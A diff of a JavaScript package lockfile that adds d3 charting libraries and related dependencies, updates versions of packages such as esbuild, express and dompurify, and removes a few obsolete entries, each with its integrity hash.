+ "d3-axis": ["d3-axis@3.0.0", "", {}, "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw=="],
+
+ "d3-brush": ["d3-brush@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "3", "d3-transition": "3" } }, "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ=="],
+
+ "d3-chord": ["d3-chord@3.0.1", "", { "dependencies": { "d3-path": "1 - 3" } }, "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g=="],
+
+ "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="],
+
+ "d3-contour": ["d3-contour@4.0.2", "", { "dependencies": { "d3-array": "^3.2.0" } }, "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA=="],
+
+ "d3-delaunay": ["d3-delaunay@6.0.4", "", { "dependencies": { "delaunator": "5" } }, "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A=="],
+
+ "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
+
+ "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="],
+
+ "d3-dsv": ["d3-dsv@3.0.1", "", { "dependencies": { "commander": "7", "iconv-lite": "0.6", "rw": "1" }, "bin": { "csv2json": "bin/dsv2json.js", "csv2tsv": "bin/dsv2dsv.js", "dsv2dsv": "bin/dsv2dsv.js", "dsv2json": "bin/dsv2json.js", "json2csv": "bin/json2dsv.js", "json2dsv": "bin/json2dsv.js", "json2tsv": "bin/json2dsv.js", "tsv2csv": "bin/dsv2dsv.js", "tsv2json": "bin/dsv2json.js" } }, "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q=="],
+
+ "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="],
+
+ "d3-fetch": ["d3-fetch@3.0.1", "", { "dependencies": { "d3-dsv": "1 - 3" } }, "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw=="],
+
+ "d3-force": ["d3-force@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
+
+ "d3-format": ["d3-format@3.1.2", "", {}, "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg=="],
+
+ "d3-geo": ["d3-geo@3.1.1", "", { "dependencies": { "d3-array": "2.5.0 - 3" } }, "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q=="],
+
+ "d3-hierarchy": ["d3-hierarchy@3.1.2", "", {}, "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA=="],
+
+ "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="],
+
+ "d3-path": ["d3-path@3.1.0", "", {}, "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ=="],
+
+ "d3-polygon": ["d3-polygon@3.0.1", "", {}, "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg=="],
+
+ "d3-quadtree": ["d3-quadtree@3.0.1", "", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
+
+ "d3-random": ["d3-random@3.0.1", "", {}, "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ=="],
+
+ "d3-sankey": ["d3-sankey@0.12.3", "", { "dependencies": { "d3-array": "1 - 2", "d3-shape": "^1.2.0" } }, "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ=="],
+
+ "d3-scale": ["d3-scale@4.0.2", "", { "dependencies": { "d3-array": "2.10.0 - 3", "d3-format": "1 - 3", "d3-interpolate": "1.2.0 - 3", "d3-time": "2.1.1 - 3", "d3-time-format": "2 - 4" } }, "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ=="],
+
+ "d3-scale-chromatic": ["d3-scale-chromatic@3.1.0", "", { "dependencies": { "d3-color": "1 - 3", "d3-interpolate": "1 - 3" } }, "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ=="],
+
+ "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="],
+
+ "d3-shape": ["d3-shape@3.2.0", "", { "dependencies": { "d3-path": "^3.1.0" } }, "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA=="],
+
+ "d3-time": ["d3-time@3.1.0", "", { "dependencies": { "d3-array": "2 - 3" } }, "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q=="],
+
+ "d3-time-format": ["d3-time-format@4.1.0", "", { "dependencies": { "d3-time": "1 - 3" } }, "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg=="],
+
+ "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
+
+ "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="],
+
+ "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="],
+
+ "dagre-d3-es": ["dagre-d3-es@7.0.14", "", { "dependencies": { "d3": "^7.9.0", "lodash-es": "^4.17.21" } }, "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg=="],
+
"damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="],
"data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="],
@@ -2527,7 +2757,7 @@
"dayjs": ["dayjs@1.11.13", "", {}, "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg=="],
- "debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
"decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
@@ -2553,6 +2783,8 @@
"define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="],
+ "delaunator": ["delaunator@5.0.1", "", { "dependencies": { "robust-predicates": "^3.0.2" } }, "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw=="],
+
"delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="],
"denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="],
@@ -2577,12 +2809,14 @@
"didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="],
- "diff": ["diff@7.0.0", "", {}, "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw=="],
+ "diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
"diff-sequences": ["diff-sequences@29.6.3", "", {}, "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q=="],
"diffie-hellman": ["diffie-hellman@5.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "miller-rabin": "^4.0.0", "randombytes": "^2.0.0" } }, "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg=="],
+ "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="],
+
"dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="],
"dnd-core": ["dnd-core@16.0.1", "", { "dependencies": { "@react-dnd/asap": "^5.0.1", "@react-dnd/invariant": "^4.0.1", "redux": "^4.2.0" } }, "sha512-HK294sl7tbw6F6IeuK16YSBUoorvHpY8RHO+9yFfaJyCDVb6n7PRcezrOEOa2SBCqiYpemh5Jx20ZcjKdFAVng=="],
@@ -2599,11 +2833,9 @@
"domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="],
- "domexception": ["domexception@4.0.0", "", { "dependencies": { "webidl-conversions": "^7.0.0" } }, "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw=="],
-
"domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="],
- "dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
+ "dompurify": ["dompurify@3.3.2", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ=="],
"domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="],
@@ -2611,6 +2843,8 @@
"downloadjs": ["downloadjs@1.4.7", "", {}, "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="],
+ "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="],
+
"dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
"eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="],
@@ -2639,7 +2873,7 @@
"enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="],
- "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
+ "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
"environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
@@ -2655,8 +2889,6 @@
"es-iterator-helpers": ["es-iterator-helpers@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.6", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.4", "safe-array-concat": "^1.1.3" } }, "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w=="],
- "es-module-lexer": ["es-module-lexer@1.6.0", "", {}, "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ=="],
-
"es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
"es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="],
@@ -2671,7 +2903,7 @@
"es6-symbol": ["es6-symbol@3.1.4", "", { "dependencies": { "d": "^1.0.2", "ext": "^1.7.0" } }, "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg=="],
- "esbuild": ["esbuild@0.25.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.1", "@esbuild/android-arm": "0.25.1", "@esbuild/android-arm64": "0.25.1", "@esbuild/android-x64": "0.25.1", "@esbuild/darwin-arm64": "0.25.1", "@esbuild/darwin-x64": "0.25.1", "@esbuild/freebsd-arm64": "0.25.1", "@esbuild/freebsd-x64": "0.25.1", "@esbuild/linux-arm": "0.25.1", "@esbuild/linux-arm64": "0.25.1", "@esbuild/linux-ia32": "0.25.1", "@esbuild/linux-loong64": "0.25.1", "@esbuild/linux-mips64el": "0.25.1", "@esbuild/linux-ppc64": "0.25.1", "@esbuild/linux-riscv64": "0.25.1", "@esbuild/linux-s390x": "0.25.1", "@esbuild/linux-x64": "0.25.1", "@esbuild/netbsd-arm64": "0.25.1", "@esbuild/netbsd-x64": "0.25.1", "@esbuild/openbsd-arm64": "0.25.1", "@esbuild/openbsd-x64": "0.25.1", "@esbuild/sunos-x64": "0.25.1", "@esbuild/win32-arm64": "0.25.1", "@esbuild/win32-ia32": "0.25.1", "@esbuild/win32-x64": "0.25.1" }, "bin": "bin/esbuild" }, "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ=="],
+ "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="],
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
@@ -2683,8 +2915,6 @@
"escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
- "escodegen": ["escodegen@2.1.0", "", { "dependencies": { "esprima": "^4.0.1", "estraverse": "^5.2.0", "esutils": "^2.0.2" }, "optionalDependencies": { "source-map": "~0.6.1" }, "bin": { "escodegen": "bin/escodegen.js", "esgenerate": "bin/esgenerate.js" } }, "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w=="],
-
"eslint": ["eslint@9.39.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.1", "@eslint/config-array": "^0.21.1", "@eslint/config-helpers": "^0.4.2", "@eslint/core": "^0.17.0", "@eslint/eslintrc": "^3.3.1", "@eslint/js": "9.39.1", "@eslint/plugin-kit": "^0.4.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", "@types/estree": "^1.0.6", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.6", "debug": "^4.3.2", "escape-string-regexp": "^4.0.0", "eslint-scope": "^8.4.0", "eslint-visitor-keys": "^4.2.1", "espree": "^10.4.0", "esquery": "^1.5.0", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^8.0.0", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "json-stable-stringify-without-jsonify": "^1.0.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3" }, "peerDependencies": { "jiti": "*" }, "bin": "bin/eslint.js" }, "sha512-BhHmn2yNOFA9H9JmmIVKJmd288g9hrVRDkdoIgRCRuSySRUHH7r/DI6aAXW9T1WwUuY3DFgrcaqB+deURBLR5g=="],
"eslint-config-prettier": ["eslint-config-prettier@10.0.1", "", { "peerDependencies": { "eslint": ">=7.0.0" }, "bin": "build/bin/cli.js" }, "sha512-lZBts941cyJyeaooiKxAtzoPHTN+GbQTJFAIdQbRhA4/8whaAraEh47Whw/ZFfrjNSnlAxqfm9i0XVAEkULjCw=="],
@@ -2755,11 +2985,11 @@
"export-from-json": ["export-from-json@1.7.4", "", {}, "sha512-FjmpluvZS2PTYyhkoMfQoyEJMfe2bfAyNpa5Apa6C9n7SWUWyJkG/VFnzERuj3q9Jjo3iwBjwVsDQ7Z7sczthA=="],
- "express": ["express@5.1.0", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.0", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-DT9ck5YIRU+8GYzzU5kT3eHGA5iL+1Zd0EutOmTE9Dtk+Tvuzd23VBU+ec7HPNSTxXYO55gPV/hq4pSBJDjFpA=="],
+ "express": ["express@5.2.1", "", { "dependencies": { "accepts": "^2.0.0", "body-parser": "^2.2.1", "content-disposition": "^1.0.0", "content-type": "^1.0.5", "cookie": "^0.7.1", "cookie-signature": "^1.2.1", "debug": "^4.4.0", "depd": "^2.0.0", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "finalhandler": "^2.1.0", "fresh": "^2.0.0", "http-errors": "^2.0.0", "merge-descriptors": "^2.0.0", "mime-types": "^3.0.0", "on-finished": "^2.4.1", "once": "^1.4.0", "parseurl": "^1.3.3", "proxy-addr": "^2.0.7", "qs": "^6.14.0", "range-parser": "^1.2.1", "router": "^2.2.0", "send": "^1.1.0", "serve-static": "^2.2.0", "statuses": "^2.0.1", "type-is": "^2.0.1", "vary": "^1.1.2" } }, "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw=="],
"express-mongo-sanitize": ["express-mongo-sanitize@2.2.0", "", {}, "sha512-PZBs5nwhD6ek9ZuP+W2xmpvcrHwXZxD5GdieX2dsjPbAbH4azOkrHbycBud2QRU+YQF1CT+pki/lZGedHgo/dQ=="],
- "express-rate-limit": ["express-rate-limit@8.2.1", "", { "dependencies": { "ip-address": "10.0.1" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g=="],
+ "express-rate-limit": ["express-rate-limit@8.3.1", "", { "dependencies": { "ip-address": "10.1.0" }, "peerDependencies": { "express": ">= 4.11" } }, "sha512-D1dKN+cmyPWuvB+G2SREQDzPY1agpBIcTa9sJxOPMCNeH3gwzhqJRDWCXW3gg0y//+LQ/8j52JbMROWyrKdMdw=="],
"express-session": ["express-session@1.18.2", "", { "dependencies": { "cookie": "0.7.2", "cookie-signature": "1.0.7", "debug": "2.6.9", "depd": "~2.0.0", "on-headers": "~1.1.0", "parseurl": "~1.3.3", "safe-buffer": "5.2.1", "uid-safe": "~2.1.5" } }, "sha512-SZjssGQC7TzTs9rpPDuUrR23GNZ9+2+IkA/+IJWmvQilTr5OSliEHGF+D9scbIpdC6yGtTI0/VhaHoVes2AN/A=="],
@@ -2787,7 +3017,7 @@
"fast-uri": ["fast-uri@3.0.6", "", {}, "sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw=="],
- "fast-xml-parser": ["fast-xml-parser@4.4.1", "", { "dependencies": { "strnum": "^1.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-xkjOecfnKGkSsOwtZ5Pz7Us/T6mrbPQrq0nh+aCO5V9nk5NLWmasAHumTKjiPJPWANe+kAZ84Jc8ooJkzZ88Sw=="],
